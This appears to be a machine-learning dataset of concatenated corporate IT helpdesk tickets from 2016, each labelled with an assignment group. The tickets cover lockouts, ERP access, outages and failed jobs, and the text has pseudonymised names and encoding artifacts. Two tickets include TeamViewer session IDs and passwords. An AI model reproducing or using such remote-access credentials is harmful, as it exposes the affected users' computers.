received from: lkfzibrx.ljnabpgx@gmail.com\_x000D\_
\_x000D\_
hello it team\_x000D\_
\_x000D\_
for some reason when i go to some of the folders i got the message belwo i cannot open some folder it appears the message below?\_x000D\_
\_x000D\_
i will appreciate your support\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform table for crm, Description:
received from: troxyekl.lzdvgwut@gmail.com
hello,
please add user delthybid (jeknosml gkcoltsy) to the collaboration\_platform table for crm.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account is locked out : ad account , Description: account is locked out : ad account , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to print from hr\_tool, Description: not able to print from hr\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for gjisfonb odwfhmze using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: analysis for microsoft excel is no longer available, Description: analysis for microsoft excel is no longer available.\_x000D\_
attached you can find the note., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):SID\_37
enter user id of user having the issue: hohlbfgtu
:
describe the issue:
unlock password logon
, is assigned to Assignment group: GRP\_2.Ticket with Short description: vpn access to <achthyardk> computer name: awyl7217972, Description:
summary:need vpn provision to access m drive from when i am away from office., is assigned to Assignment group: GRP\_34.Ticket with Short description: gflewxmn qnxhoryg (term date 8/31/2016) - network folder access, Description: i never received access to tghkris wickhamtf's person folder on the network drive - i did get access to her collaboration\_platform drive, but not her network folder. i know her network folder is where she saved a lot of information - i really need to have access to this folder to access her documents. also, i'm not sure why the communications i'm receiving regarding her collaboration\_platform collaboration\_platform are in german.
die endgÃ¼ltige lÃ¶schung des collaboration\_platform for business von gflewxmn qnxhoryg ist in 7 tagen geplant. sie haben immer noch zeit, um wichtige dokumente an einen anderen speicherort zu kopieren. nach 7 tagen wird das collaboration\_platform for business von gflewxmn qnxhoryg endgÃ¼ltig gelÃ¶scht. wechseln sie zum collaboration\_platform for business von gflewxmn qnxhoryg unter ", is assigned to Assignment group: GRP\_12.Ticket with Short description: probleme mit com port \maschine stÃ¶hrmann \eaodcgsw trmzwbyc, Description: probleme mit com port \maschine stÃ¶hrmann \eaodcgsw trmzwbyc, is assigned to Assignment group: GRP\_24.Ticket with Short description: cannot access workflow in collaboration\_platform designer 2013, Description: i recently received a new machine for work and downloaded collaboration\_platform designer 2013 to access my workflow for my product move system. after linking the site, i tried to open the workflow. it gives me an error saying "cannot access, restart designer and try again." i have tried restarting multiple times. please assist. , is assigned to Assignment group: GRP\_16.Ticket with Short description: unable to share screen, Description: name:jadqhguy fvwhyenp
language:
browser:microsoft internet explorer
email:jadqhguy.fvwhyenp@gmail.com
customer number:
telephone:
summary:i am unable to share my screen on skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot add new customer in engineering\_tool application, Description: \_x000D\_
\_x000D\_
received from: juxitrbf.vebckrgh@gmail.com\_x000D\_
\_x000D\_
dear company help,\_x000D\_
why i cannot adding new customer in engineering\_tool application? this happened after i downloading new update application.\_x000D\_
\_x000D\_
[cid:image003.jpg@01d2200e.6dd40c50]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: transfer pricing - sto 4908097793, Description: inter-company sto 5019108804 is not computing a transfer price. is it because the material is priced at 0.37 euro per 100 pc and the order is only for 1 pc? should they change the order to 100 pc?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: unable to make changes in expense report, Description: name: xmeytziq dcgwuvfk
browser: microsoft internet explorer
email: xmeytziq.dcgwuvfk@gmail.com
telephone:
summary: earlier in the week i was trying to put my expense report in but it will not let me change the cost center there was suppose to be a ticket but in for this and i was just wondering how that was going i have not received any notifications on this issue. , is assigned to Assignment group: GRP\_44.Ticket with Short description: passwort geoyhurg chriuimjiann , Description: \_x000D\_
\_x000D\_
received from: nsoikcyf.jhybqael@gmail.com\_x000D\_
\_x000D\_
bitte schalten sie meine passwÃ¶rter frei\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: configair server not available in production (SID\_34). error message: 503 service not available, Description: configair server not available in production (SID\_34). error message: 503 service not available, is assigned to Assignment group: GRP\_14.Ticket with Short description: engineering\_tool and distributor\_tool error., Description: engineering\_tool and distributor\_tool error. unable to see customer details., is assigned to Assignment group: GRP\_0.Ticket with Short description: frequent account lock out : wothyehre, Description: frequent account lock out : wothyehre, is assigned to Assignment group: GRP\_0.Ticket with Short description: my telephony\_software will not allow me to pick up a call or make a call, Description: my telephony\_software will not allow me to pick up a call or make a call
phone: , is assigned to Assignment group: GRP\_7.Ticket with Short description: why 2 delivery notes (9169471029) were created for total 10 pcs from plant\_105 to plant\_322, when on plant\_105 we have customer order, Description: hello, could you please check why 2 delivery notes (9169471029) were created for total 10 pcs from plant\_105 to plant\_322, when on plant\_105 we have customer order 35906675 for 5 pcs and no order on plant\_322. we were waiting for this material and once it appeared on plant\_105 stock these 2 dn for company europe gmbh - plant\_322 were created. i had to ask plant\_105 team for cancelation and creation dn for our order. many , is assigned to Assignment group: GRP\_18.Ticket with Short description: upload of monthly reports to SID\_59 hana tables zmc\*, Description: upload of monthly reports to SID\_59 hana tables zmc\*, is assigned to Assignment group: GRP\_9.Ticket with Short description: query about ticket status.: ticket\_no1556096 : antjuyhony usa, Description: ticket\_no1556096 : antjuyhony usa, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi not working in conference room of usa oh ..., Description: wifi not working in conference room of usa oh ...\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: anlagen pc an der hochdrucksinteranlage hip 10 startet nicht!, Description: anlagen pc an der hochdrucksinteranlage hip 10 startet nicht!, is assigned to Assignment group: GRP\_33.Ticket with Short description: vip 2 // upgrade to ie 11, Description: vip 2 // upgrade to ie 11, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to see emails in the outlook, Description: not able to see emails in the outlook
, is assigned to Assignment group: GRP\_26.Ticket with Short description: kpm hours, Description: i have punched 6hrs on tuesday i.e. on 04/10/16 in my engineering tool but it is showing only 4hrs in my kpm.\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: not able to access bobj via ie and some tabs are missing when i open in chrome, Description: user wasn't able to access the report via ie. hence i installed chrome to access the reports via myportal.company.com\_x000D\_
after a while the user wasn't able to open the reports via chrome as well because some tabs dierppeared. \_x000D\_
and the user is not able to connect to vpn via chrome.\_x000D\_
\_x000D\_
this is not related to business analytics tech team (erp bi/bw). this is something related to the browser setting. , is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 10/06/2016 07:27:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 10/06/2016 07:27:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: latitude e5440 battery issue, Description: latitude e5440 battery issue. battery light is constantly blinking red and not charging. user has to be constantly connected to the ac adapter. might require a battery replacement.
phone:, is assigned to Assignment group: GRP\_3.Ticket with Short description: network outage : south amerirtca - (rrc) site is hard down is down since 6:11 am on 10/6 et, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_ 6:11 am on 10/6 et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: no bobj acces, Description: name:maaryuyten
language:
browser:microsoft internet explorer
email:jvxtfhkg.heptuizn@gmail.com
customer number:
telephone:
summary:no bobj acces
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
maaryuyten
hi, i can't log in to bobj this is the error message i get
dwfiykeo argtxmvcumar3
hello
maaryuyten
io error error 2032
dwfiykeo argtxmvcumar3
to get a better understanding of your issue i would like to take a look at your computer through teamviewer. please click on
maaryuyten
id 426 816 357 pw 3276
maaryuyten
sre you still there?
dwfiykeo argtxmvcumar3
yes
maaryuyten
see the issie
dwfiykeo argtxmvcumar3
let me take screen shot of it
dwfiykeo argtxmvcumar3
i will assign to erp bw/bi, they will look into it
, is assigned to Assignment group: GRP\_9.Ticket with Short description: probleme mit gehaltsnachweis drucken \eaodcgsw trmzwbyc, Description: probleme mit gehaltsnachweis drucken \eaodcgsw trmzwbyc, is assigned to Assignment group: GRP\_24.Ticket with Short description: uacyltoe hxgayczeing the email notification, Description: uacyltoe hxgayczeing the email notification, is assigned to Assignment group: GRP\_36.Ticket with Short description: probleme mit wlan laptop \weszfyok fbadnjhu, Description: probleme mit wlan laptop \weszfyok fbadnjhu, is assigned to Assignment group: GRP\_24.Ticket with Short description: account unlock we\_wu160, Description: account unlock we\_wu160, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm - screen - advanced find- create view, Description: \_x000D\_
\_x000D\_
received from: ctzykflo.evzbhgru@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
when i select in crm â€žadvanced find" (1.), the next screen is scrolled (2.).\_x000D\_
\_x000D\_
1.\_x000D\_
\_x000D\_
[cid:image003.jpg@01SID\_35fca.166c0b00]\_x000D\_
\_x000D\_
2.\_x000D\_
\_x000D\_
[cid:image004.png@01SID\_35fca.166c0b00]\_x000D\_
\_x000D\_
\_x000D\_
the symbols are moved into the query. it is nearly impossible for me to create a view.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: infopath is not working , Description: infopath is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit we\_wu160 \jionmpsf wnkpzcmv, Description: probleme mit we\_wu160 \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: monitor vom rfa-analysegerÃ¤t defekt, Description: hallo ,
kannst du mal bei uns im labor vorbei schauen, da ist der monitor vom rfa-analysegerÃ¤t defekt.
rclqfpgt tbnovxdp ist der ansprechpartner.
, is assigned to Assignment group: GRP\_24.Ticket with Short description: problem while changing the password, Description: \_x000D\_
\_x000D\_
received from: srqyfjxz.lnagtjzi@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
while trying to change the password on \_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35fe2.0f41b4c0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: file shatryung help required., Description: \_x000D\_
\_x000D\_
received from: cqargubj.krdxbfqh@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i need to send a video of machine to our customer on urgent basis. the file size is 36mb. kindly let me know how to send the same.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue with adding lean tracker- collaboration\_platform issue, Description: \_x000D\_
\_x000D\_
received from: ilbkhgxd.hirsqytd@gmail.com\_x000D\_
\_x000D\_
help desk\_x000D\_
\_x000D\_
today i tried to open add lean event tracker link to enter new project details. while doing so i got error message, screen shot is attached for your reference.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35fde.f914b3d0]\_x000D\_
please go through the same & do the needful so that i can enter the details in lean tracker. any clarification, please revert back.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: add my name to distribution lists, Description:
received from: ploxzuts.utvimnwo@gmail.com
dear sir/madam,
pl add my name to distribution lists below:
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze, Description: uacyltoe hxgaycze, is assigned to Assignment group: GRP\_0.Ticket with Short description: pls. unlock windows account of user vvgoythttu, Description: pls. unlock windows account of user vvgoythttu, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype for business does not work, Description: \_x000D\_
\_x000D\_
received from: gzqijaoc.rfywvloa@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i need your help.\_x000D\_
\_x000D\_
my skype for business does not work in laptop.\_x000D\_
print screen is attached.\_x000D\_
\_x000D\_
teamviewer\_x000D\_
id 1 078 70sartlgeo lhqksbdx13\_x000D\_
password 9456\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: passwords - vpn, distributor\_tool sync, Description: \_x000D\_
\_x000D\_
received from: pgrvqtdo.hgpymwxb@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
i seem to have a problem with logging into vpn, distributor\_tool etc.\_x000D\_
\_x000D\_
i cannot access the 'change my password' as i need to be on vpn\_x000D\_
\_x000D\_
any advice would be greatly appreciated.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software - log on issue - this is a windows update issue, Description: user voethrylke is unable to log on telephony\_software for the following reason:
authentication failed because the remote party has closed the transport stream (see attachment as well)
, is assigned to Assignment group: GRP\_7.Ticket with Short description: user gokcerthy SID\_1 uacyltoe hxgaycze system , Description: \_x000D\_
\_x000D\_
received from: gacfhedw.iqustfzh@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
i cannot login to the SID\_1 uacyltoe hxgaycze system, could you please check?\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35fc2.af75dfe0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: we need a new mouse (pc: eemw8143353), Description: the computer-mouse from the pc eemw8143353 has a malefunktion. , is assigned to Assignment group: GRP\_42.Ticket with Short description: HostName\_1276 australia patching\_antivirus\_sw site server if offline, Description: it is offline since 1st oct 2016., is assigned to Assignment group: GRP\_12.Ticket with Short description: aiiw8911985 india patching\_antivirus\_sw desktop site server is offline, Description: it is offline since 30th sep 2016., is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to log into skype. certificate error., Description: unable to log into skype. certificate error., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset my SID\_51 password , Description: request you to reset my SID\_51 password and send it across, is assigned to Assignment group: GRP\_2.Ticket with Short description: we are missing confirmations in erp since 10/05/2016 07:30 o'clock, Description: it seems that the transfer from EU\_tool to erp is stopped or delay since 10/05/2016 7:30 o'clock german time. please the attachment. , is assigned to Assignment group: GRP\_59.Ticket with Short description: new document types showing in list, Description: when creating a new document in engineering tool, we're seeing three doctypes that weren't previously showing.\_x000D\_
\_x000D\_
has someone added these recently?\_x000D\_
\_x000D\_
they're showing in SID\_21, SID\_1 and SID\_34., is assigned to Assignment group: GRP\_11.Ticket with Short description: network outage:poncacity -schlumhdyhter-dmvpn router is down since 2:46 am et on 10/06:, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_\_\_ 2:46 am et on 10/06:\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: application response time (other network resources work normally), Description: please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the "operations" folder).\_x000D\_
site / location : germany\_x000D\_
user id (ad) :\_x000D\_
system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj):\_x000D\_
transactions that are slow (e.g., va01, create an order): all, erp (SID\_34) is very very slow. it takes 10-15 seconds to build a page\_x000D\_
area this belongs to (e.g., sales, finance, markhtyeting etc.):\_x000D\_
how can this issue be replicated by the it support group:\_x000D\_
are other users seeing this? \_x000D\_
please attach relevant screenshots and exact times when the issue occurred:, is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage :germany () fine machining - company secondary vpn circuit and servers showing down since 2:20 am on 10, Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_2:20 am on 10/06 et\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_na\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_yes\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp is not working for multiple user., Description: erp is not working for multiple user.\_x000D\_
server : \\HostName\_670 (not pinging), is assigned to Assignment group: GRP\_4.Ticket with Short description: urgent EU\_tool germany - currently not possible to close orders - , Description: reference ticket\_no1557880 (some data entries where affected not all)\_x000D\_
\_x000D\_
received several reports that it is currently not possible to close/complete orders. over 570 orders are currently missing.\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: kein datenabgleich zwischen EU\_tool und erp in germany!, Description: kein datenabgleich zwischen EU\_tool und erp in germany!, is assigned to Assignment group: GRP\_25.Ticket with Short description: kein netzwerkzugang, Description: ich habe an meinem pc nur zugriff auf die interne festplatte. drucken funktioniert, aber kein zugriff auf z.b. die drucker server., is assigned to Assignment group: GRP\_12.Ticket with Short description: password reset, Description:
received from: nxhwyepl.mudstbxo@gmail.com
please reset the password for the below user in q-11 (quality uacyltoe hxgaycze) in erp
user - rayhtuorv
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2600 failed in job\_scheduler at: 10/06/2016 01:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2600 failed in job\_scheduler at: 10/06/2016 01:32:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ie 11 flash player issue, Description: \_x000D\_
\_x000D\_
received from: rmezbnqt.ntbmkpuh@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i am unable to take ethics training course in ie11 as it is showing the below shown error, please do the needful.\_x000D\_
\_x000D\_
this error shows up even after updating the flash player\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35fc0.b9c6a170]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem in lean tracker, Description: \_x000D\_
\_x000D\_
received from: drhykngx.oxviygdb@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
there is a problem while creating a new lean tracker & when we click on save & upgrade option.\_x000D\_
please resolve.\_x000D\_
[cid:image001.jpg@01SID\_35fc0.1a2bb6a0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to shared mail box "investor\_relation, Description:
received from: wchidyuk.shqbfpuy@gmail.com
hello,
please usa access/add mr. shryresh rdyrty (yzeakbrl.npxbkojl@gmail.com) to shared mail box "investor\_relation".
kindly do the needful.
[cid:image001.png@01SID\_35fbb.d94922c0]
with , is assigned to Assignment group: GRP\_12.Ticket with Short description: the oracle listener monitor is reporting a : warning status on, HostName\_136. please investigate , Description: the oracle listener monitor is reporting a : warning status on, HostName\_136. please investigate , is assigned to Assignment group: GRP\_1.Ticket with Short description: outlook, Description: \_x000D\_
user got crm and outlook configured yesterday\_x000D\_
outlook version earlier was old\_x000D\_
now after the new version has been installed along with crm\_x000D\_
all my mails get re downloaded every time\_x000D\_
specially the ones in all folders, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/06/2016 00:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/06/2016 00:40:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: net framdntyework 4.5 is not installed, Description: from: wgpimkle kijhcwur [mailto:wgpimkle.kijhcwur@gmail.com] \_x000D\_
sent: thursday, october 06, 2016 5:21 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: :erp error : microsoft .net framdntyework 4.5 is not installed\_x000D\_
\_x000D\_
help desk\_x000D\_
\_x000D\_
i tried to approve a credit memo (as per attached workflow mail) but the below message was shown and could not open the programdnty.\_x000D\_
please fix the issue aerp as we need to issue the credit memo soon.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp incident 336553/2016 status change, Description: this is in SID\_21.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3050 failed in job\_scheduler at: 10/05/2016 21:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3050 failed in job\_scheduler at: 10/05/2016 21:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: can't get audio skype. need it urgently for meeting today, Description:
name:jashtyckie
language:
browser:microsoft internet explorer
email:jacyjddwline.yotywdsef@company.com
customer number:
telephone:
summary:urgent. can't get audio skype. need it urgently for meeting today, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_221 : volume: /dev/SID\_37data17 is over 98% space consumed. space available: 8.1 g, Description: HostName\_221 :\_x000D\_
\_x000D\_
volume: /dev/SID\_37data17 is over 98% space consumed. space available: 8.1 g\_x000D\_
volume: /dev/SID\_37data18 is over 98% space consumed. space available: 8.3 g., is assigned to Assignment group: GRP\_1.Ticket with Short description: ticket update on inplant\_866951, Description: ticket update on inplant\_866951, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open attachments on outlook, Description: unable to open attachments on outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to server files ldg sm003, Description: i am the new plant manager at usa facility. i need access to the server drive ldg sm003, both i drive and j drive. the access should be similar to the previous plant manager misuhet milsytr., is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to update passwords, Description: unable to update passwords, is assigned to Assignment group: GRP\_0.Ticket with Short description: node lhqsm68267 located at usa is down., Description: node lhqsm68267 located at usa is down since 04:00 pm et on 10/05., is assigned to Assignment group: GRP\_12.Ticket with Short description: vip 2 : not able to login to windows , Description: not able to login to windows , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is frozen, unable to open, Description: came in at 10:45am. as of 3:50pm, my folder had not been updated since 11:13am. exited out and tried to get back in, but it will not open.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: system is slowing down while processing shipments at plant\_101 every evening between 9:45 pm and 11:00 pm. , Description: system is slowing down while processing shipments at plant\_101 every evening between 9:45 pm and 11:00 pm. sometimes it is with z\_chk process and sometimes during the kis (shipping\_tool shippping system) process. this has been going on for the last couple of months. fyzceglp vfnraqxc is the shipping supervisor during this shift and can be contacted if additional information is needed. there was ticket entered last night october 4, but was closed this morning oct 5, because the system was not slow this morning. this only happens at night. , is assigned to Assignment group: GRP\_18.Ticket with Short description: erp access issue userid uacyltoe hxgayczekurtyar s3, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_1\_x000D\_
\_x000D\_
enter user id of user having the issue: uacyltoe hxgayczekurtyar s3\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with:\_x000D\_
\_x000D\_
describe the issue: userid uacyltoe hxgayczekurtyar s3 is needed for validation uacyltoe hxgayczeing in SID\_1. please extend this account for 2 months. \_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 10/05/2016 15:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 10/05/2016 15:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to schedule a skype meeting (option no longer on outlook), Description: unable to schedule a skype meeting (option no longer on outlook), is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_866919, Description: ticket update on inplant\_866919, is assigned to Assignment group: GRP\_0.Ticket with Short description: key figures being taken out from bex analyzer, Description: key figures being taken out from bex analyzer\_x000D\_
\_x000D\_
sales revenue key figure that gets removed autamatically, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1320 failed in job\_scheduler at: 10/05/2016 14:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1320 failed in job\_scheduler at: 10/05/2016 14:35:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: ticket update on ticket\_no0446902, Description: ticket update on ticket\_no0446902, is assigned to Assignment group: GRP\_0.Ticket with Short description: calls are routing to laptop and not on the telephony\_software phone., Description: calls are routing to laptop and not on the telephony\_software phone.
phone: , is assigned to Assignment group: GRP\_7.Ticket with Short description: connecting to wireless outside of company of usa wireless, Description: \_x000D\_
\_x000D\_
received from: zxobmreq.udikorhv@gmail.com\_x000D\_
\_x000D\_
attachment is the only connections available when i need wireless. please review and figure out why other wireless are not available.\_x000D\_
\_x000D\_
was at company usa, and also hotel. no access available.\_x000D\_
